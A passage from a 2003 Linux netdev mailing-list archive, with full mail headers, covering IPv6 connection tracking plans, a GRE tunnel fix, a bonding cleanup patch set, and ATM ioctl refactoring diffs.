you pick these up? Yes, I will. From davem@pizda.ninka.net Thu Sep 25 04:05:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 04:05:36 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PB5JFx008623 for ; Thu, 25 Sep 2003 04:05:19 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA11616; Thu, 25 Sep 2003 03:51:49 -0700 Date: Thu, 25 Sep 2003 03:51:49 -0700 From: "David S. Miller" To: Harald Welte Cc: yasuyuki.kozakai@toshiba.co.jp, coreteam@netfilter.org, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [Patch]: IPv6 Connection Tracking Message-Id: <20030925035149.4886e0cf.davem@redhat.com> In-Reply-To: <20030925092806.GC5758@sunbeam.de.gnumonks.org> References: <200309250521.OAA29293@toshiba.co.jp> <20030925092806.GC5758@sunbeam.de.gnumonks.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 216 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 199 Lines: 8 On Thu, 25 Sep 2003 11:28:06 +0200 Harald Welte wrote: > On the other hand, I'd much rather see some work done on a layer 3 > independent connection tracking core. Me too. From davem@pizda.ninka.net Thu Sep 25 04:09:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 04:09:58 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PB9NFx009099 for ; Thu, 25 Sep 2003 04:09:23 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA11700; Thu, 25 Sep 2003 03:56:06 -0700 Date: Thu, 25 Sep 2003 03:56:06 -0700 From: "David S. Miller" To: Michal Ludvig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] ip_gre.c in 2.6.0-test5 Message-Id: <20030925035606.5f1b780d.davem@redhat.com> In-Reply-To: <3F715732.5060306@logix.cz> References: <3F715732.5060306@logix.cz> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 217 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 490 Lines: 11 On Wed, 24 Sep 2003 10:34:58 +0200 Michal Ludvig wrote: > this trivial patch fixes possible kernel crash when using GRE tunnels in > 2.6.0-test. The problem was that "dev->init" wasn't set before > register_netdevice() call and so the initialization function was never > called. Consequently some fields in the tunnel structure were not > initialized what finally led to a kernel crash upon receiving the first > packet over the GRE tunnel. Applied, thanks Michal. From kadlec@blackhole.kfki.hu Thu Sep 25 04:22:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 04:22:08 -0700 (PDT) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PBLnFx012722 for ; Thu, 25 Sep 2003 04:21:50 -0700 Received: by blackhole.kfki.hu (Postfix, from userid 311) id CF9838572; Thu, 25 Sep 2003 12:50:51 +0200 (CEST) Date: Thu, 25 Sep 2003 12:50:51 +0200 (CEST) From: Jozsef Kadlecsik To: Harald Welte Cc: Yasuyuki Kozakai , , , , Subject: Re: [netfilter-core] Re: [Patch]: IPv6 Connection Tracking In-Reply-To: <20030925092806.GC5758@sunbeam.de.gnumonks.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 218 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 1147 Lines: 30 On Thu, 25 Sep 2003, Harald Welte wrote: > However, we are now facing the problem on how we want to proceed. I completely agree with Harald and does not like the idea of adding (more) duplicated code to the system. There are already too much duplication between IPv4/IPv6 at netfilter level, which must be sorted out. > 1) submit ip6_conntrack to the 2.6.x kernel > We would then need somebody committe to maintaining it, assuring > it keeps in sync with the work done on ip_conntrack. I do not want > to put the burden of ip_conntrack / ip6_conntrack synchronization on > everybody who submits patches/bugfixes/... > > 2) keep ip6_conntrack in patch-o-matic and start work on a l3 > independent conntrack system. > This would give more users to the code, since most advanced > netfilter users are using patch-o-matic anyway. Yes, let's go with the latter solution. Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From shmulik.hen@intel.com Thu Sep 25 05:50:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 05:50:24 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PCoAFx017264 for ; Thu, 25 Sep 2003 05:50:13 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8PClhs27512 for ; Thu, 25 Sep 2003 12:47:43 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8PCigH04268 for ; Thu, 25 Sep 2003 12:44:42 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092505500025840 ; Thu, 25 Sep 2003 05:50:03 -0700 Content-Type: text/plain; charset="us-ascii" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. Subject: [PATCH SET][bonding] cleanup Date: Thu, 25 Sep 2003 15:49:59 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, bonding-announce@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org Cc: "Jeff Garzik" , "Jay Vosburgh" , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" , "Shmulik, Hen" Message-Id: <200309251549.59177.shmulik.hen@intel.com> X-archive-position: 219 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 3580 Lines: 78 Hi, Now that all the 2.4<->2.6 synchronizing stuff is done, we are moving forward with the cleanup plan. This set is similar to the previous set I sent on 8/27, but it is based on the latest version that was accepted into the kernel with the seq_file changes, a few bug fixes and a bit more cleanup stuff. This set is very comprehensive and touches almost all the code. The set is broken down to many patches for better tracking. It was already tested by me for functionality and is undergoing a more thorough set of testing by our QA group for any corner case bugs. A set that cleans up the 802.3ad code will follow shortly. This patch applies on 2.4.23-pre5. It would also apply on 2.6.0 after Amir's patch 2/10 from the "[bonding 2.6] propagating master's settings to slaves" set is accepted by Jeff and applied on 2.6. patch set can be downloaded from: http://osdn.dl.sourceforge.net/sourceforge/bonding/bonding-cleanup-2.4.23-pre5.tar.bz2 This will update the following files: Documentation/networking/bonding.txt Documentation/networking/ifenslave.c drivers/net/bonding/bond_3ad.c drivers/net/bonding/bond_alb.c drivers/net/bonding/bond_alb.h drivers/net/bonding/bonding.h drivers/net/bonding/bond_main.c include/linux/if_bonding.h Description: patch 1 - ifenslave lite - No more IP settings to slaves, unified printing format, code re-org and broken to more functions. patch 2 - convert all debug prints to use the dprintk macro and consolidate format of all prints (e.g. "bonding: Error: ..."). patch 3 - death of typedef. eliminate bonding_t/slave_t types and consolidate casting. patch 4 - remove dead code, old compatibility stuff and redundant checks. patch 5 - consolidate timers initialization, error checking and re-queuing. patch 6 - convert too long if-else to a switch-case. Fix all locations that handles bond->primary. patch 7 - eliminate the multicast_mode module param. settings are now done only according to mode. patch 8 - slave list iteration - bond is no longer part of the list, added cyclic list iteration macros. patch 9 - consolidate function declarations: o all functions begin with bond_ o return value, function name and all params are on the same line. o change some function names to be more descriptive. patch 10 - consolidate names of function params and variables (e.g. bond_dev instead of dev/master/master_dev). patch 11 - change names/types for some of the members in struct bonding. change position of members. patch 12 - consolidate return values of functions. patch 13 - put curly braces around all if, else, for, while, switch statements. change conditions to short format. e.g. (ptr == NULL) ==> (!ptr) patch 14 - consolidate error handling in all xmit functions. patch 15 - chomp all trailing white space. patch 16 - remove duplicate empty lines. add empty lines where needed to improve readability. patch 17 - fix indentations. patch 18 - code re-organization in bond_main.c according to context (e.g. module initialization, bond initialization, device entry points, monitoring, etc.). some last minute minor changes and fixes. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From hch@lst.de Thu Sep 25 05:51:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 05:51:31 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PCpPFx017508 for ; Thu, 25 Sep 2003 05:51:26 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id h8PCJfFc000460 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Sep 2003 14:19:41 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id h8PCJfNe000458 for netdev@oss.sgi.com; Thu, 25 Sep 2003 14:19:41 +0200 Date: Thu, 25 Sep 2003 14:19:41 +0200 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: skb_migrate() / net/atm/ipcommon.c Message-ID: <20030925121941.GA409@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -2.5 () USER_AGENT_MUTT X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) X-archive-position: 220 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev Content-Length: 300 Lines: 10 net/atm/ipcommon.c has a single function in it, skb_migrate which looks pretty generic and his this comment ontop of it: * * This function should live in skbuff.c or skbuff.h. * So does this comment make sense, should it go into common code (and kill the major ugliness in net/atm/Makefile :)) From yasuyuki.kozakai@toshiba.co.jp Thu Sep 25 06:10:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 06:10:35 -0700 (PDT) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PDARFx018815 for ; Thu, 25 Sep 2003 06:10:28 -0700 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) by inet-tsb.toshiba.co.jp with ESMTP id h8PDA8lb002440; Thu, 25 Sep 2003 22:10:08 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id h8PDA8lI011661; Thu, 25 Sep 2003 22:10:08 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id YAA11660 ; Thu, 25 Sep 2003 22:10:07 +0900 Received: from mx4.toshiba.co.jp by tis2.tis.toshiba.co.jp id WAA00760; Thu, 25 Sep 2003 22:10:07 +0900 (JST) Received: by toshiba.co.jp id WAA20555; Thu, 25 Sep 2003 22:10:06 +0900 (JST) Date: Thu, 25 Sep 2003 22:10:04 +0900 (JST) Message-Id: <200309251310.WAA20555@toshiba.co.jp> To: laforge@netfilter.org Cc: yasuyuki.kozakai@toshiba.co.jp, coreteam@netfilter.org, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [Patch]: IPv6 Connection Tracking From: Yasuyuki Kozakai In-Reply-To: <20030925092806.GC5758@sunbeam.de.gnumonks.org> References: <200309250521.OAA29293@toshiba.co.jp> <20030925092806.GC5758@sunbeam.de.gnumonks.org> X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 221 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev Content-Length: 1018 Lines: 34 Hi, Harald. Thank you for your concern, and I understand what you say. > To summarize, I see the following options: > > 1) submit ip6_conntrack to the 2.6.x kernel > We would then need somebody committe to maintaining it, assuring > it keeps in sync with the work done on ip_conntrack. I do not want > to put the burden of ip_conntrack / ip6_conntrack synchronization on > everybody who submits patches/bugfixes/... > > 2) keep ip6_conntrack in patch-o-matic and start work on a l3 > independent conntrack system. > This would give more users to the code, since most advanced > netfilter users are using patch-o-matic anyway. > I interested on a L3 independent connection tracking. Could you show me about concrete loadmap and the scheme of nf_conntrack ? ---------------------------------------- Yasuyuki KOZAKAI Communication Platform Laboratory, Corporate Research & Development Center, Toshiba Corporation yasuyuki.kozakai@toshiba.co.jp ---------------------------------------- From chas@cmf.nrl.navy.mil Thu Sep 25 06:17:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 06:17:42 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PDHXFx019413 for ; Thu, 25 Sep 2003 06:17:34 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PDHKkT003298; Thu, 25 Sep 2003 09:17:20 -0400 (EDT) Message-Id: <200309251317.h8PDHKkT003298@ginger.cmf.nrl.navy.mil> To: Christoph Hellwig cc: netdev@oss.sgi.com Subject: Re: skb_migrate() / net/atm/ipcommon.c In-Reply-To: Message from Christoph Hellwig of "Thu, 25 Sep 2003 14:19:41 +0200." <20030925121941.GA409@lst.de> Date: Thu, 25 Sep 2003 09:17:21 -0400 From: chas williams X-Spam-Score: (*) hits=1.7 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 222 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 648 Lines: 16 >net/atm/ipcommon.c has a single function in it, skb_migrate which >looks pretty generic and his this comment ontop of it: > > * > * This function should live in skbuff.c or skbuff.h. > * > >So does this comment make sense, should it go into common code >(and kill the major ugliness in net/atm/Makefile :)) i am fairly sure this function will go away in the future. its used to move an existing skb_queue to a new queue, so the queue can be 're-processed'. it seems to me that it might be easier to just find the current tail of the queue and process the queue to that point instead of copying to a new list. its on that list of things to do. From chas@cmf.nrl.navy.mil Thu Sep 25 09:10:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:10:14 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGA8Fx030813 for ; Thu, 25 Sep 2003 09:10:09 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGA3kT006938; Thu, 25 Sep 2003 12:10:03 -0400 (EDT) Message-Id: <200309251610.h8PGA3kT006938@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][3/8] use new code for pppoatm and br2684 (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:10:04 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 225 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 4668 Lines: 169 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1449 -> 1.1450 # net/atm/br2684.c 1.11 -> 1.12 # net/atm/ioctl.c 1.2 -> 1.3 # net/atm/pppoatm.c 1.14 -> 1.15 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1450 # [ATM]: [ioctl][3/8] use new code for pppoatm and br2684 (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Thu Sep 25 09:24:19 2003 +++ b/net/atm/br2684.c Thu Sep 25 09:24:19 2003 @@ -634,9 +634,11 @@ * This handles ioctls actually performed on our vcc - we must return * -ENOIOCTLCMD for any unrecognized ioctl */ -static int br2684_ioctl(struct atm_vcc *atmvcc, unsigned int cmd, +static int br2684_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { + struct atm_vcc *atmvcc = ATM_SD(sock); + int err; switch(cmd) { case ATM_SETBACKEND: @@ -667,6 +669,12 @@ return -ENOIOCTLCMD; } +static struct atm_ioctl br2684_ioctl_ops = { + .owner = THIS_MODULE, + .ioctl = br2684_ioctl, +}; + + #ifdef CONFIG_PROC_FS static void *br2684_seq_start(struct seq_file *seq, loff_t *pos) { @@ -774,7 +782,7 @@ return -ENOMEM; p->proc_fops = &br2684_proc_ops; #endif - br2684_ioctl_set(br2684_ioctl); + register_atm_ioctl(&br2684_ioctl_ops); return 0; } @@ -783,7 +791,7 @@ struct net_device *net_dev; struct br2684_dev *brdev; struct br2684_vcc *brvcc; - br2684_ioctl_set(NULL); + deregister_atm_ioctl(&br2684_ioctl_ops); #ifdef CONFIG_PROC_FS remove_proc_entry("br2684", atm_proc_root); diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Thu Sep 25 09:24:19 2003 +++ b/net/atm/ioctl.c Thu Sep 25 09:24:19 2003 @@ -122,38 +122,6 @@ #endif #endif -#if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) -static DECLARE_MUTEX(pppoatm_ioctl_mutex); - -static int (*pppoatm_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); - -void pppoatm_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) -{ - down(&pppoatm_ioctl_mutex); - pppoatm_ioctl_hook = hook; - up(&pppoatm_ioctl_mutex); -} -#ifdef CONFIG_PPPOATM_MODULE -EXPORT_SYMBOL(pppoatm_ioctl_set); -#endif -#endif - -#if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) -static DECLARE_MUTEX(br2684_ioctl_mutex); - -static int (*br2684_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); - -void br2684_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) -{ - down(&br2684_ioctl_mutex); - br2684_ioctl_hook = hook; - up(&br2684_ioctl_mutex); -} -#ifdef CONFIG_ATM_BR2684_MODULE -EXPORT_SYMBOL(br2684_ioctl_set); -#endif -#endif - static DECLARE_MUTEX(ioctl_mutex); static LIST_HEAD(ioctl_list); @@ -433,23 +401,6 @@ if (error != -ENOIOCTLCMD) goto done; - -#if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) - down(&pppoatm_ioctl_mutex); - if (pppoatm_ioctl_hook) - error = pppoatm_ioctl_hook(vcc, cmd, arg); - up(&pppoatm_ioctl_mutex); - if (error != -ENOIOCTLCMD) - goto done; -#endif -#if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) - down(&br2684_ioctl_mutex); - if (br2684_ioctl_hook) - error = br2684_ioctl_hook(vcc, cmd, arg); - up(&br2684_ioctl_mutex); - if (error != -ENOIOCTLCMD) - goto done; -#endif error = atm_dev_ioctl(cmd, arg); diff -Nru a/net/atm/pppoatm.c b/net/atm/pppoatm.c --- a/net/atm/pppoatm.c Thu Sep 25 09:24:19 2003 +++ b/net/atm/pppoatm.c Thu Sep 25 09:24:19 2003 @@ -315,9 +315,11 @@ * This handles ioctls actually performed on our vcc - we must return * -ENOIOCTLCMD for any unrecognized ioctl */ -static int pppoatm_ioctl(struct atm_vcc *atmvcc, unsigned int cmd, +static int pppoatm_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { + struct atm_vcc *atmvcc = ATM_SD(sock); + if (cmd != ATM_SETBACKEND && atmvcc->push != pppoatm_push) return -ENOIOCTLCMD; switch (cmd) { @@ -341,15 +343,20 @@ return -ENOIOCTLCMD; } +struct atm_ioctl pppoatm_ioctl_ops = { + .owner = THIS_MODULE, + .ioctl = pppoatm_ioctl, +}; + static int __init pppoatm_init(void) { - pppoatm_ioctl_set(pppoatm_ioctl); + register_atm_ioctl(&pppoatm_ioctl_ops); return 0; } static void __exit pppoatm_exit(void) { - pppoatm_ioctl_set(NULL); + deregister_atm_ioctl(&pppoatm_ioctl_ops); } module_init(pppoatm_init); From chas@cmf.nrl.navy.mil Thu Sep 25 09:10:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:10:31 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGAPFx030973 for ; Thu, 25 Sep 2003 09:10:26 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGAKkT006950; Thu, 25 Sep 2003 12:10:20 -0400 (EDT) Message-Id: <200309251610.h8PGAKkT006950@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][4/8] use new code for mpoa (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:10:21 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 226 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 5136 Lines: 194 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1450 -> 1.1451 # net/atm/mpc.h 1.2 -> 1.3 # net/atm/ioctl.c 1.3 -> 1.4 # net/atm/mpc.c 1.27 -> 1.28 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1451 # [ATM]: [ioctl][4/8] use new code for mpoa (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Thu Sep 25 09:24:27 2003 +++ b/net/atm/ioctl.c Thu Sep 25 09:24:27 2003 @@ -14,6 +14,7 @@ #include /* manifest constants */ #include /* for ioctls */ #include +#include #include #ifdef CONFIG_ATM_CLIP @@ -54,36 +55,6 @@ #endif #endif -#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) -#include -#include "mpc.h" -struct atm_mpoa_ops *atm_mpoa_ops; -static DECLARE_MUTEX(atm_mpoa_ops_mutex); - -void atm_mpoa_ops_set(struct atm_mpoa_ops *hook) -{ - down(&atm_mpoa_ops_mutex); - atm_mpoa_ops = hook; - up(&atm_mpoa_ops_mutex); -} - -int try_atm_mpoa_ops(void) -{ - down(&atm_mpoa_ops_mutex); - if (atm_mpoa_ops && try_module_get(atm_mpoa_ops->owner)) { - up(&atm_mpoa_ops_mutex); - return 1; - } - up(&atm_mpoa_ops_mutex); - return 0; -} -#ifdef CONFIG_ATM_MPOA_MODULE -EXPORT_SYMBOL(atm_mpoa_ops); -EXPORT_SYMBOL(try_atm_mpoa_ops); -EXPORT_SYMBOL(atm_mpoa_ops_set); -#endif -#endif - #if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) #include #ifdef CONFIG_ATM_TCP_MODULE @@ -309,36 +280,6 @@ error = -ENOSYS; goto done; #endif -#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) - case ATMMPC_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } -#if defined(CONFIG_ATM_MPOA_MODULE) - if (!atm_mpoa_ops) - request_module("mpoa"); -#endif - if (try_atm_mpoa_ops()) { - error = atm_mpoa_ops->mpoad_attach(vcc, (int) arg); - module_put(atm_mpoa_ops->owner); - if (error >= 0) - sock->state = SS_CONNECTED; - } else - error = -ENOSYS; - goto done; - case ATMMPC_DATA: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_mpoa_ops()) { - error = atm_mpoa_ops->vcc_attach(vcc, arg); - module_put(atm_mpoa_ops->owner); - } else - error = -ENOSYS; - goto done; -#endif #if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) case SIOCSIFATMTCP: if (!capable(CAP_NET_ADMIN)) { @@ -385,6 +326,10 @@ default: break; } + + if (cmd == ATMMPC_CTRL || cmd == ATMMPC_DATA) + request_module("mpoa"); + error = -ENOIOCTLCMD; down(&ioctl_mutex); diff -Nru a/net/atm/mpc.c b/net/atm/mpc.c --- a/net/atm/mpc.c Thu Sep 25 09:24:27 2003 +++ b/net/atm/mpc.c Thu Sep 25 09:24:27 2003 @@ -1361,15 +1361,41 @@ mpc_timer_refresh(); } -static struct atm_mpoa_ops __atm_mpoa_ops = { - .mpoad_attach = atm_mpoa_mpoad_attach, - .vcc_attach = atm_mpoa_vcc_attach, - .owner = THIS_MODULE +static int atm_mpoa_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + int err = 0; + struct atm_vcc *vcc = ATM_SD(sock); + + if (cmd != ATMMPC_CTRL && cmd != ATMMPC_DATA) + return -ENOIOCTLCMD; + + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + + switch (cmd) { + case ATMMPC_CTRL: + err = atm_mpoa_mpoad_attach(vcc, (int)arg); + if (err >= 0) + sock->state = SS_CONNECTED; + break; + case ATMMPC_DATA: + err = atm_mpoa_vcc_attach(vcc, arg); + break; + default: + break; + } + return err; +} + + +static struct atm_ioctl atm_ioctl_ops = { + .owner = THIS_MODULE, + .ioctl = atm_mpoa_ioctl, }; static __init int atm_mpoa_init(void) { - atm_mpoa_ops_set(&__atm_mpoa_ops); + register_atm_ioctl(&atm_ioctl_ops); #ifdef CONFIG_PROC_FS if (mpc_proc_init() != 0) @@ -1395,7 +1421,7 @@ del_timer(&mpc_timer); unregister_netdevice_notifier(&mpoa_notifier); - atm_mpoa_ops_set(NULL); + deregister_atm_ioctl(&atm_ioctl_ops); mpc = mpcs; mpcs = NULL; diff -Nru a/net/atm/mpc.h b/net/atm/mpc.h --- a/net/atm/mpc.h Thu Sep 25 09:24:27 2003 +++ b/net/atm/mpc.h Thu Sep 25 09:24:27 2003 @@ -44,18 +44,6 @@ }; -/* Functions to call during ioctl(ATMMPC, ) */ -struct atm_mpoa_ops { - int (*mpoad_attach)(struct atm_vcc *vcc, int arg); /* attach mpoa daemon */ - int (*vcc_attach)(struct atm_vcc *vcc, long arg); /* attach shortcut vcc */ - struct module *owner; -}; - -/* Boot/module initialization function */ -extern struct atm_mpoa_ops *atm_mpoa_ops; -int try_atm_mpoa_ops(void); -void atm_mpoa_ops_set(struct atm_mpoa_ops *hook); - /* MPOA QoS operations */ struct atm_mpoa_qos *atm_mpoa_add_qos(uint32_t dst_ip, struct atm_qos *qos); struct atm_mpoa_qos *atm_mpoa_search_qos(uint32_t dst_ip); From chas@cmf.nrl.navy.mil Thu Sep 25 09:10:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:10:57 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil 